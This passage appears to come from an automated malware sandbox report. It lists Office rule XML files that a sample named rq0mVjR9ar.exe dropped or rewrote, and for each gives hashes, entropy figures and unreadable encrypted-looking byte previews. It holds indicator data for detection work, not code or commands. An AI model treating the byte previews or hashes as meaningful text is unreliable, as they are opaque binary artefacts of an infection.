Preview:	<?xml.r.B....5.#>..)..r...N..e.H(...E4..W&"IE.8..)^......=g....6...ln...Un.].&......,...xZ.C`.]z.q..U.#B0g#.....'...Qh..t9.o8p..."...aK.F.>'......!..&....4..@\|..f...k.......\..}M....\|O... .V...dA..u..)..!.HcH.Q..Ap.o,(PN..q...K.U.*......_...t.\|...........k/....8j..u.",N.g<......<C.....k...j..#..i..N.B1,.l).&....'..L.]5.0{.._7>.v....m....z.Z.v.e2....QMI..0..4.0.....[...b~[me..._.hmc..........f...\|{....\|.>.V\|..i<.oQ.l=LQ.`..N....+". .O.GN...&.H}..9.o.g.k ..KmR.0.,.....0$..kr.h2.....y.{.v. ....I'..x..Ew....../...../l.xE.".rS..#.~y.Ku....&.3..A....B.....(......W.P^..\...JZB.l."...u.Xm..f$.W\..._g.........t.k..cP.C#.d).......M...,....I....u7dd.........K......$......=#f..\.?dR$.........L..x.....u..8-. cq...da.j.....VNSf.eTMp...c..f......Y.n.,Xew$.......IG.-...`..`.%8.?.i.?f....:....H......1U9..OB....yiB..P....".!Jr..pJ..A.:.....mh....0..p.7t.B.`...............5\|..}i.s.._.p..N..j?T>....f...T'.U.).E.&....=YS..i.V......B..'.C..l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.878091672402288
Encrypted:	false
SSDEEP:	48:8WRHtFJwoh/4D7lvmgetFkhy2LESdWIX7sYzkHSiD:/hmuEv9evkhjFZJQ
MD5:	8F4FC8B3ED7C0184C361E093805329C8
SHA1:	6FA7277FF4BB26B5333068590CC8867AFA9D3210
SHA-256:	98ED790163478FCF3AE8C83C35718CDD1AF99D6DFF2AC8034A1ED317176A87BA
SHA-512:	3361DFED2B222EE54BB6C5D5DE7C874F504C23EAB0E13E56FAC753462AE4A676C4C4D643FE4FBC1F2AF9117D4B7ABBE734586E0F76E6E78BB04C7DBCD81AE6DD
Malicious:	false
Preview:	<?xml.....?=.."4..t3Ku4.K.X..i.0g..Z.o.ex..j@zJ,.7..J...\|..R. .yta..."....;,..,~.<.3.e....u.^.s.......`......n.K...hz.\|_.EP...8b)q.........V.Z.].....!x~.B[.P....&..C.".......; .x6..&p.Rs.....H...h..B......S.(.$r...9.W.s..?....4..[..U..>.....O..2(...S.3..[..6.g.WU.q_..K.9..uV.c]...:......].(.._x:.(XI.^,q.X.w..>C.-.........\|..7."..(...AuX1W......A......?...a.$7.\&..-..U@\..1.W.@.)...2.@.t/...r:b\R.:#.....:5....sw...{(8...........k..)...[%..{<....b.u....\|.....)<...mK3...f^7.7,..J....o....[.....J. .....'..x...].....Y.....E..s......I.." ..k...2.yc...a}J%Br{M.1.C.(...2.....9...\.......$.Do...L?.+.)}/tSZ..,.u\|....Ml.....D...X5..8<.:..P......0;.2H...l.....2../o',........)...c.sj..j...... ..`..H#......>.n>.....k`/.zCb..m..V.&._![.q..N..Z.M.$.!...J..."...u.6....U.}...S?.J..vD.G,.6Jv..1...H/(].(.\.....Q.-9...O..%.7E.U.q.&-g...) .pY..9....9.N.zx.2oP.....<.*......5.s...X0r..4$......V.0....7.ft.Z.C.6..T.`..\|#..`...@..-h.S@..}..}e.... "5(.c..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.871103659127064
Encrypted:	false
SSDEEP:	24:g47BkX0jC/TqzRuVZSJoEIKlMiC0jTRjacyb8Ts39RFIVFWTApiiTkbD:g4F3jCguTS+K20jTwMstRFIpXiD
MD5:	DFB1228A49135D42AD31B44BB783FEC2
SHA1:	2D99410D0A5FF0BD304FC40662BCBBF97A3ED578
SHA-256:	2AF773882542193A25231D32E086C4AFAE5797B09C1267229A436A804D3A9AD5
SHA-512:	904BDA713655F45707855490B739CAEC956A2825ED096CA0867451CB5339150067FC32607A917CBB2619B0B5D172182CFD3B3B7972F70905879C3AEE03E98CD7
Malicious:	false
Preview:	<?xml]iD.K.t.cT.u.9...r\c3..#...e?......D.zVG.ee....FF.I...>C.u....Ing..#F...\|(=.A#....?..H6........Y.0..D.m...L`0..u .6.;.,\|y.8'.y..k..X...\.....0....b...7.#\|..........B...\|.l.......{.OH..!.Gr....V.U.4....!.,....D...:.X.9)....N.a.F.m.t..........jp.S.....:.E5.D.L.VW...e.g..I...3NW....3X......>.g..EU.1v... ..Y...(.r..h8..H.+k.....z.3.X.....R...o.!..7..U......r0.h.j...N.+-+.)%[..{..(....\|..~H3..a......lOd.:a.I..sN.w..K.I}.t{\|h;g.H...%....a....Wx..b.Y.}..eK,...N..t.......8.._.....,.>..d...H+....pF=m.....X..v.#.8.&...\.P.I.=.....$.e..6.j.....V..%.M...=o...r..).k..Qw..m..;....=..,$ ..5e.....0'@..H.hI.0U-..k..w...G.V.]^fJ.../...f...95D...#L..cf...hI.h.C2.O+.sH..A~..[K.X.yN....s........Z...~.....[4N....VMh8..6'^rW.P.87^...L~Q."5(.aQU.Q.U.>..3wEv..BNe.j...b]f..2'.V...%..9.F.!_A...}..A.......',}....d.~{......:.r...Y.H.4M.>U};B..\=.1.<.A..&.1c..y.=:..O.s..a~.w...,..4...s...H.......g..H.xJ..V...my...s&..........u.lB.8X....W.1..,%.Pf.Y].D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.885209085304556
Encrypted:	false
SSDEEP:	24:YYGk8Ue5oejJv4DoqwXRzW581QET5WnIR1Ia5FdpjpFx9CMEBtsOzt31QYiiTkbD:aee5Dl1NWGW45WncSaLdl/x9Cz1BlZiD
MD5:	9B795244A52571F77098B50F762F9D1E
SHA1:	DAF9B11ABFD57131DDD6865F161A1D91FB078E46
SHA-256:	0123813F3DDE4C11AF34C6BD5A3B7DDC174C952A51D5BE151E71B57B0C13DE81
SHA-512:	5C8613A793C2B956698567779CFA36A781C7F34385BD57E5C0CDA69BE2F8C9EE9D0479AABAF2CCD7375091E6A6311F4FB5D74C7A023FDB36C7287D68930CFF97
Malicious:	false
Preview:	<?xml%..O......7&.p$'r........{....P..+.#..J;..+.a.q.3.[..&....k..N.E...0.@...<........T2.-...A.....7..m1..!Y...H..3x..o.r...dW^.!>...Kt.G.(.."},(...{...+.......)nP?9s.......H.<\yr...x.K.T/..x5.f^...i..X>C..6....Z.f...:....>..p...Z.C[E._..f...j...<.G.Z...i..ny0.........H_.j....0.]..."U..$.....n..........-....<...y......:[....q.........v...j..H..h%a.+.g.Z...f....c.+]$.........,&^..xK.1..2......H..^..."...].-..0D9s..(...Z.!..},..R..w.7i.....I.v....9.U.t....p....#..0.........Q....\|.^`^.}....iN.....K...]...$rj.#_`..I..y.....~.9v.b....}....X....,......F<oS.......'....&RN..n.5{\....~...{_u..S_I\|...rO..CF.....s=+V.&r....._.....Y.l,..w.....j...*.K....J......,.#B...q...A......y{>..PH...zj4Y.~.:..~.....:.e.f.......03.bl..$m.`.B'.[.W..Wv...n.tv....DO.G.R.55s[++...4=.V....n..st...\|.....4....d....!...B..9.K....zT.-I0.wCX.s.B.j.Hc.K]..Usx.(..\|t.....u!!U.h...hI........^...1.~.....V2.......F...M....^:.,C~.S.a.!.A`$....F..-..^ux.?~&..........[1.``le.\|H...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.901567660756503
Encrypted:	false
SSDEEP:	48:nJHEuCR0T4P9EJTwqqflOZTEXXtUAIUiD:neuRT8FflOZr5
MD5:	23F9E284A95D6FF6B0C49F80DA592B82
SHA1:	66F26A80916D174EF0D26A8FD362CFA4BD977112
SHA-256:	CD546BC08E7AF1A1092073D6DE251246046DF1507C11015B508A5C93E2CD3ADF
SHA-512:	E0CDAC68844D0903B72AD8B7FBADA9F753455A673066AB20B43B56073B060BC0550B70BB34CA4EFE4CE231ED26C041F54D8BB87EAF22A067C5E401315D0A6775
Malicious:	false
Preview:	<?xml.x........g..B.U1Y.....w....I,....=.R(.]\|D%f.,...L...p.g../.$2..Y..qB.).......`.....$....v....o/.e3n..X.......g...n....[,./.....W......\'%.y... ._...0`...Z..-;}....U...O....$B....T..a.....[.w...p.;......F..d...Xc..l.h:..N..bkv...%kx.<.xw...2.Q.ylM....(..V.,0...A......=......\|.G._..t..W.buA<B.F.=h..N....Sk..^z..8.Q.;..h......&..W.....D.X.....%......t"QQ....u....LE..T-.....b..si6.....B...I.9.>.h7Wz~......f.X..`...v./._...KC.Z..>IH...q...k.?.=...%..@.8.w...v...ju..blx..O^....Z....e..`..8X-...P......R.q..$R+....0....~.?..p.%K.....d..M........4..I.l.S.../#..d.B . ..~.79K.6]...].^./.g.Y....-...2..CT~.W.f,...9....7y.....j,.....4>.r{.^.;wr.2....~H......u^.u..p....X.d.i3s.6..).9kP.\|.......U.>6......7.A.B...F...Q.....r...@....=c.My...=-.\n.Z..F...j..=g..-2.B..(..uu.k...~$k......l.0.......N...s....P*b.W.L.F.)...T.F.[.w.F....L....B..k.^..3.l..>.</..@d....%....+.......z.8....PJ..o... <.#.G2...X..X..Lb4...z..VW..\|..g9..W.%.!:...D$..C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.899717524929339
Encrypted:	false
SSDEEP:	48:b09tPubTgUUlxEsllqkXyHL3OvK2M5WbhJo7fiD:b3bTgUULEiTCTm1Jh
MD5:	AECE1FE2D03FED23B44047EFE3E0B415
SHA1:	94E3D1D58722FF41ADDC87C1965A7467037A42A3
SHA-256:	CCD9622BFB1B48C9FB3F409264FCF57DEAD47647F9AACA8D4DAEF7959CF1F9FD
SHA-512:	F80F12D373DCD1F719587656ED2F55A2B3B7BE5E62AD254F569B913AC800BD10754FBE7D4932EE67F3955293DCA419827302F7B311E20EADBE66742ACD9B78E2
Malicious:	false
Preview:	<?xmloa%......C..........7....B.b.......`...V.;..N..........bs.P...0....6..<....C....a.....q..&.S%/.K:.?.s..............Q.....<....(...F.f.o...wJ\E=...<zV@...y.....d..1.....)_.l.)[... ....!Io.._.v...9K.....U..a...........8N...%L.oP..u@N..ck0..D..=...t.R...BW.-..qy..<.<1...~...;.@.:P%...n..{...eY....Z5mu.....d..^.0......G..x...JE..f..t..!.4.^.r.+.$....?..m...5....z.U.4PW..g..j..x..[.^K..C..[;.=..N.Z\|......M.p...L/...H.V..._-zO&x.:.....bp2W.j..>../...yjt.,"C1.....F..b}.-..qi.,.=v.R...7dN.c,.r....VV.pwY.x......5...<...\iR!aV"J..V$r.v....D{vz<..F.p..!...;.J...+......Uv.F....m......M.d3Z.S....?...=..c.S....0XX;h..9..)...R...;.\|..e.1.3.....\\|...\..%qlE..C...=K.XxW/./.L....k.u./~...?T.&0.;..$.4.....}.w.U.V..M<a,tv.6.`.@T.C..VX..:..@{f..1..9P...5}...Pw{.....y..%.. ..../M.@.X........3R.A..V.F...P!..N.1..9I...A'..34...xfNR....se...H]JG.w."r..^d$j.3.l...,{c.hl...hH(..]=~.[tP..7.v.qYW..iV..]..r.....y....2...=6i....... ..a/.....C.N......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.8884039996550674
Encrypted:	false
SSDEEP:	24:L9ZO1vCZ3cDBDwOQLCqyjRC17L8eWHzpapiWNiYsCk11weUXfu/46fAeoZQyJniq:blZ3cR7RRC1TWHzpONw+ewfu//fHviD
MD5:	B361C55907C64FD865D68EDB5B0C020F
SHA1:	54028215841674AEDAA9B4812C1B9A3C16F6F295
SHA-256:	AAB8DC7E21DC338485B8553436273E1D79085738467491B1E2D265867FFBCC3F
SHA-512:	D755CA4A826BC1D0096180BFE3CAC37F55679630F293BC0FB141AA91838BB78F83ECD0B0F2B8C1C65F0D2D76C0624B0C27A5DE9454E44049ABB6388255965650
Malicious:	false
Preview:	<?xmld.d......R..B..3.N...#<..9.Pc[.7.}........%<..6.=b..........u.V.o.k+@L{(.....p.-.>l..2s..O.N.O.O...hq...G.....x.O..3qA...}.Q.e..1....j.'j.mA\|.u..$............K..#@.A.....1-...!.W.F.G#.........YO..n........<.,fW5+..Kx...2.k<...........{.0.........B;.....!.$j...\|../..w..]oC..,...6..g5..5n..\|..S".n....M..ud.4........3V...^q.'...G.....;Q.hfE..D..pO....e..Q.1......(.....-...R..jn...5..!j.>........A......%...M.v.....H>..=.. ....gd..r...LS.D.....S7E.....v .<vA.&W....&.Tn;1...._.$._....D\|,.+.8.(...F.....A._...(...'..6.Iy.f4.n........:&..l.J....o....eWc...J_I'.i.R...d.x......revo...)s....<...L...c_.4..W%W..-(...W.=....`.,:.....oZ.2..;....f..>.!.c...-..NB...\|u$..0............."..@DP"..w....?.2b.f...^R.{9....#L.^..s....4..W}.>............j..xt....mD..a..M.B... ...WY.q..}..J..8z.?3n\|p..,}N.z....o....../gXYi= \7.r..Y.m....,!....`b..Dd../....N......fM....+.`[..7.....7......qH`....`52.V./.........R.r^.z.. .m.R.oIi..e<./c..f.......11,L......*..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.8933015374024444
Encrypted:	false
SSDEEP:	48:dUdcMpIU2Q9LwECFKVtks4oaXSauxbguxx1CG5CMMMiD:dUdcMpI7ZjFokssCp5xx1CkCMMb
MD5:	39E72076417C4CEC74A73943704B8E13
SHA1:	6D68434B07077CCF322139EE313C58306E5A1F25
SHA-256:	061DFFDC18D0517BC37FA68DABB58C003FFB2FC38B2A319FCDBB1F6DA70B8AB4
SHA-512:	152F13E2C6ACDCF6E413ECB7661BC9F76CC60F74A05D68C6A42DC47E71A63BFFF838EC2B78710DE5EE0D8AEA586703C45D834B65417E353EF2855E2B4CEC60FA
Malicious:	false
Preview:	<?xml..z!.......k.Iss.....".q...1x.....n:n....f...I.N....U....+kC_....T.4..........(-6@...)..nfyt.$F.\|0.....a#~R>..;S.$......b...k........XX...nVN.....z....K...ko.......9q.7.O.`5.vI."6#R...G......}...v..C....e..(.%wy......F-..7..h1......s.uE.v....4.i..,..n...rd........,I.14.Gr.:t....s..u..5x..y..Y.....2u_3....Bp........s!.B...m.K..A23.?un....q.....e..D)ia..._.wTZ.y..3....Z..#B.Yc.x..oM.u..t=.g..y?..\A..er.n.....= .C.u.'../..i.x.....m....M..d....#b....0.....VD.e] ..L9...6..ii.v.._..... n2X.4'...^...s,C...W..[Z..{.gf.(A>......7....[..6..m....%..1_i.fA...#.......[......u..&\|...J....'.$....>.y \....H.i.E.\|.R.!p...6v.d+.....MO;..o.<L.h@......M.84.`..~.=/.....=.)...G6G..j.....e..ll.5.${..%...{..C..=.8r......^Yg%.d...!.?~@......c.~..g...9.C.(..`..g;o......\.$.`.8..'..>......Q...5.99.?E+-`U.BH.$.^p&./..h.0.2I.(...?.84......@.,....Jt.Y.{Km.$.......%.....a.(e.@+.$..&.?.N.y..m\-..S6.O.....u.a....;.&a....j..v.#.i..V..o.....W-QW.NM..E.N..7.N&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.876901047552744
Encrypted:	false
SSDEEP:	48:29O2Spo7JssKIM8I+VJIbu7cU3LOFc1RZ2tlfKiD:29r3DKIDIgJCIqq1Wrft
MD5:	E3B927748C8F1E6A64BD5FB577258B52
SHA1:	5E2CB70F5BB0A6E9E717517A18A98964D30A8B57
SHA-256:	D992C0910E980914E6D1EB34883B37B7180B376CED8719A69FE4D1DCB0D4D027
SHA-512:	0E9CD61D2C8E75F8C5570DD58B6D56ED7D238E64A83BC5132548A2F3C72AFFE0477A011E508C336D106DDB823863D259F5A50496DDAE01F2D6907924AA718D2B
Malicious:	false
Preview:	<?xml.EV.[M..)...$..5..Q`.?.x.5"..{.6n...6S......z...>B.!V..".[...3....%R..+..bT`.2...x,M[.w.QF....(3./..\.....z....4....vP......-.....I..p..C........Nw..}}...E.^...............D.=......oV.l-8R.......y..ml.>.6.uM.5.F......."<.{Bf..~'.i...~^....e.Bq....(@...6.oQ....J........2.}.F.P...J....E..... ..,D....]:.Ls...\|u..a..>...s.f..9......h.B...]..80.l...q!K.@XK.................s....../...+="v....r'J..D.{B......].I..M...B.-.p....+U?........x.......5'.7)e..&.........L.\|..}..QiU.+<...z...u...+..!..Y...7n=..V..u..s....=.Z<.........M.....S.myF3..o.by.7.j.t<.e.......eJ....n6.. E+m&.U...~.;...)......HJ........6..1.T-..i...L.E..G.UZ..\|...=...V.."=v.O,.N.......a...A.9k?..W....s..gW.&~Ur...'..>..C.n..g.k.k....`1P?b41#<(.\\|c....l.).b.f..l.2K(<.n..^t..e...r<.X..+;{..(.xw$...ic..9./H.!.Q..L.].F..9.{..d..]..[ P....a.E...g.VN...zk}....4^......4Q.8)..x....5.......Q:....+.Y~....h.K...j...Z.@.`..Uo_g.m"..N.6o..m.T..&.ko..B...P...._.^o2..O..d.RZ.......K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.88076743338291
Encrypted:	false
SSDEEP:	24:KkiSLzOkP7bSyvM88Kph+yjE33xrvAdNCxdBGflDpYPJmHiTkbD:KkijkPfnX9v+yjYENWBGYmCiD
MD5:	250AD2F29E7DA0AF8BD1AE111D5C21AD
SHA1:	7484F11F50F0817337EEFF248E3F53C3427334C3
SHA-256:	8867570C50E4E8B62B1519FE570ECB7A70CE96311573C4798E7E5E436E28B6DA
SHA-512:	BC990B0D0D0B38933FE371E09A157652A354E2782E63D7DDB2AF91A2CEC7A81E8FD13BCB5D30BB2FB637532836C9CE0A845E590D533F127A73B047F233449E1D
Malicious:	false
Preview:	<?xml.r...%e..my.{...O.27a.A..~M..........YX@..."kY..D...&;..(;...Y........STv;\|Jdx..I.\|...K..Z7.\|....&.hSM.3...`,r@.....3..X.?".x.....H.$I...X.<3..F9...x(..KH;....vJ...dw..N..0]......O..p2/..Y...........!.2..y<....j...b...H.d....f)_~....9-.............(.\. e~.t.....<.p..o.%.^........k.5. .........D.:..h.BSN(...#..9:...".=/.wx.Y.\.j........I...J.Z..........3..0."a..V."<[...+yOy..QB..[mmz.....'.{.......\|_Q..#.J}..-.xt..q..Im.P4Q+.K........53...8...^..9..p6.....{<_....b^CB........V.:....F...t.4...m.5&..m.c..Q........ E.......Q..6..h...^.\|8...E.}..8...]'0...p....4JHc...&&.gk6.}.3L....b....m~..T.0.Y.A....K.@.0..x...-.\|.....;...R..WM.y..'...ju.d]..........0..a..T^!.....:.o.,..>!...V...b.(..WI.b.\....1#.<>......vn.r.A...l.D.9.ui....[Y....,5W....'...1%...4..{J#..\|.a..q.Y......k..(O.....j......^....a.X.. B....v....E&.f.g(.D.......U\|..LK....7v"..A...4.z._t..=...........K....^..W..Yqp#.R.A.e...'@.}..=}6.1.a3Mb.....r../.O.?....%...N......_......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.889965213377734
Encrypted:	false
SSDEEP:	24:OMGBhNJFYpYCuiwPQ7eCcOANjWAZYKenUxdXjtlub4JzdZI9dIiiTkbD:OMQhJYpYCB7e9NjPYKeUb04RI9dIXiD
MD5:	B3DDE50F0064E4EC81CE9DC491D60A93
SHA1:	42F30B9E3DBB2345DFD59DE203DC29F94DF63942
SHA-256:	E0D5D049DECC18CD31FA15447F033CC2816EB23FF8AE3BFCA7DFD439DE88A78B
SHA-512:	2BA49115C2DA5660B680F2D6254312982660061C53DB476DA03170024E12F9039620CFE05AE79806972695FA8434DAC9A8E632D16EC099DCE29335AAFD010007
Malicious:	false
Preview:	<?xml._C....PK..v.\|.r.\|[gW>.D../..6N..'.\...$...:.8;..p.#...G.@o..I...i\H@.n..w.%...#.....}..~...q9./.v{..}.@..~BcA.=....cCw7+....H..?......[O._1...l..r.Es....3..9.....o..{fWy"..F.....l..6z[.D.6../.I..I.K.0Y.!j....o.g....k.).T 3.....p...b(..z`.O...k_F>.Yu..pL...)..qY1B.gX\|.XJ7W[..z....J.g$...1.(....9.....2.`...........g.^..=.m.ClU..'4.......-e_!n2B'Sn.O..F... (L.h...w.2'.....I......>..E..F:.6.[..\./.+..)w....O4....)[0y.XS6..d..sF.8x,k.?i1...]f.....%A(y.....U... .........TM.C(....ue..j.!....:...8L`...2...4.......>.Z.k.Y.@..%.........G..+%.$....z..s{..%...-..=.~...?..\..7R.....B..E(.........K.............44.].S..`!....^5$.....#........#.V.P.#ix...O.........d+...<.m;.bN]\.A.;u.. ...(r~$v~..^T...PC.G..5....t6.%......O....L.D.....k.!/.w.!..v.98.~... .....W...g....e.Ec...............-3^........Y...8g....j=....-3..!kZ...uu.a1.\N.b.z.=...R...g.....s.`{Y....Cg~.L...9....dl......7V..(x.:.(..)-.....m.8BG....%.kS.../j..s..`.nC..!p.U...n.o^e..x..'.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.888390991628566
Encrypted:	false
SSDEEP:	48:sJ1ueHRfxw6HYytFTFxyZoMZUAxQ97pUPtzimPK6iD:eF5x54yvRxiqn7pWzird
MD5:	4BC456D91EEEE76B4494BFE86951DA69
SHA1:	6E3E9883E295ACDC4A0E1069830296BC653066DB
SHA-256:	B3321BC778B88AE1E78B4F06BF857455541FB4CB00AE0592EBF76F5299513019
SHA-512:	50FF016E017AC23350F2E6887056E24B53051026A89B6EDC9D98FF211DBAADCB99ACA9B7B25B793AC54B7D710BCD34B5F2E86010C1B6D41CF0F6AA9523EF16EA
Malicious:	false
Preview:	<?xml'.B...^.n..N\|..g._&..=.e.....2TE.27....z..N/$....pm..z..G....Za.H..2G....UD.(..a\|o.9.....R......g.m.jN...".a...O....S}..l6I..E....C-......U.......n.^....Bv..a.s.PG..~p..Gm...\|.>..u.....-.\...oj..<.G..+...^.W}./....z..?_F..FiS4...AQ........Z......2}C...h&)..Dvx.....,.....4X..E..@..H.,..i.....uUB%...Z......j.#....(.P.%..../........$.<g.....D.k....B.......)Y^.H.....ui.cfip.?..1O.A#.....%u..f.Q..c~.._.....`....<.z.6......m.1....N.......r......z..#.#..q.W+...X...{.<.G.?r0.f..7...W4..1\|l..@.Y.+Z.!P..G.n.`c,...8.z... ..;..../?o..B-.U....W..N..xrN..`....I...!..e.<P.G.61....n.a;..........>^.e..U...D.XD.4.(....'vv>R##^...wt...w!.Ai...`o..h......gg@..!._.t.)....R.R...).(........j......A..:.\|.....~=..{L.c..P...C...N..<........z.iJ*t..J;.J..>..'....+P..6a.F......B.zc.C....-...mv]..W...i.j..6....A.G......V.tU#.N.m..j...P2\..r.......3.dSQ0...... ........dI......N]..h.w?.ur.p........k...qs.W.&J....n^[4T.v...O..J%-.............6....p........i..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.87631078905521
Encrypted:	false
SSDEEP:	48:kNEM6W+YuJJcSs+riSI8lt5M3HG6OlQVM6XiD:kNL6LPch+WSIutiLOth
MD5:	6C80610747A7117227780F41797C86A6
SHA1:	6B1615B43874775F060D904795940E21DE583DD0
SHA-256:	BABE27C35BDF428C73AF7FF64C14068BD839ECBEB4F67055E0654784B3A4012E
SHA-512:	1307B1021E04D2B8887729486FE4A7DCEC80054E3F11486045384B9BE37E053CA7EEBF83FC53B61E0541E6D1F92862A909D7E7CDCD889B293CA4C8FDE056F3A9
Malicious:	false
Preview:	<?xmlG.....e\|.....Q.jA.`.l..XF.]...e.v/sqH.K...PI..6.....L.#k..'f%....1e[;...~.rB.:.mN.VfH.y....jT.a...i...... ...`xI...Z/.n.F..b.......,..b+...CR/.e...)t.+......9..]...N...y.....D.J4...&.e.q.......lT77S..2.M..6.....uqL.dh..}x.Zjp..5^^q../..:/c`2...TD..}5. ...R......a.O..ex.2.6.u....4h..0...0R....s....ig.5L...0U.gj.q...n.D.....T;J.@..U....{.u.....b`..........CWqR..E./......Y..U.d...7.... .b%.N+{.z....)..8...KZ..~j...pO..N..F...%.Kp.s..h.~.;..b4^.^n...;k..O....,dQ!.).'d.....7...%>w.,..cx...o...Q..@F%.5..{..av........^^>...U..7..i..)7.-p.(..#a.zM....oSX.m.f...@.E0...R.....Gh...U....A.QIe..f.r.%o...4.q.R.pj.Q.........K...`..^.&.+Wwoe........\\|..t.]?....9..t{..&...o..../....Z..\|O.iI...)\..(m......./..HW.....a..h..\|..$..Oe..~.2.........)2_(zj..I.......\}..s0...^Fz.E.D-........~.N..ur~..i?...$...b\.....dE.Q.S{..M?.-.$.tV....Z.0.E..r*..o.q....?.K!...9..........r,...).... ..z.......^.7.da.!T..&&.I...y5........&c.At......B.....'.....o...RM.......?.?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.9018169163215815
Encrypted:	false
SSDEEP:	24:2geZzmkr33M502HiVkskK3R1cW5lPG+Q6QpMGEH3qsChJ88R2CxoYkTiTkbD:feZzmkrsK2KQK37b5lOaIBT2aBiD
MD5:	3AB41E72CD0B2CF54614990F124CACB5
SHA1:	E7E2B55A03EC8A81446B124D66D33EB755227B44
SHA-256:	A306B0086E4D3777EE727BB5BC3366ECECFA2FC124ADF02147DE8994DADF1BC8
SHA-512:	5A6F1BE8267F135BC603F69965655CF409FA1BCBA6C6E44A52A10D687F3D68B59EE10BF1A133E82F8F779C4F0BF9FEA665E28B6A14BF77CCFA876D5B94B31151
Malicious:	false
Preview:	<?xmldY.'.&.SsP..WH?6...%@]z...v...Z.-...;}Z .T...9....l..~........'V..!x....g..6..-,.`.>}.N......z..c..C/.8..2.. ...w.1>..........%.v...T[.b.>..8.t..<.A.q.d..>..:....&. .j'........Yh.D..5.v.U3..o.... ..y.P...d.....}.Y..8...PW..` ...O..l..G...k......Q..O.......v}3..b....h1..;..D...F.d8...).g..&.h~%D..d+.oD..~b..xc........9RvfHO..C&Q...]j.d..........K.l1;..6'.[...._...bQD..............2Vv}...j...W;.T...GSu&_..xL:.S.V......8{frK<g@.D;.h..m..K.....'.x?,J...V.>.-.d......P.m..~.Z....<.pc.W..J.$0.:..&}....c..`(.M.G.:c.Ia.TH..j....p..5[...n?/.....H..k..........kRm.gV...xD.o...C...s.}...S....q@.=....)..=oe..0{...a..S..?..%.........b.....Hr....U..A.F....DO..c.....ut)...CA\|.A9..).M..h......;Q4......].......Y..O;.(.%..iY6.<..j`.zlNt......%.$.^.m..K..X.y.,..f2.....[~.<.<...W.......&.aY..p..#.....=...=4.B................1......tO.u3.{...'...#D]t.......L}..V.....%..".....=.....L(...Z(.j.8T....$.8...]..Wb...Ur.p..4..j..>.\|...S..w...-^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.864532605236329
Encrypted:	false
SSDEEP:	48:wYBfaH4W4575FklgecnXSw/cVgbL1kAEjiD:wYfy4WG75FklACw/AgtkAEW
MD5:	C9D87ABC0E6027C2FA5FD50E99AEBF7A
SHA1:	3EED72ED2CF9DF01FE3F078066D1F690F5202E22
SHA-256:	1DA66D15F9588BDC71A1BBD37FD1F3E477A622D7BA5A07CE36F5B39C09AD16D0
SHA-512:	7B6E2268BF1ED5EC354C4AABC9AB23566DC139776392F2AD7382C13D46D071AE04211B83DEAA352192708659DEE3E05F3B36ABC38B6E0BE15769AC6D987714B7
Malicious:	false
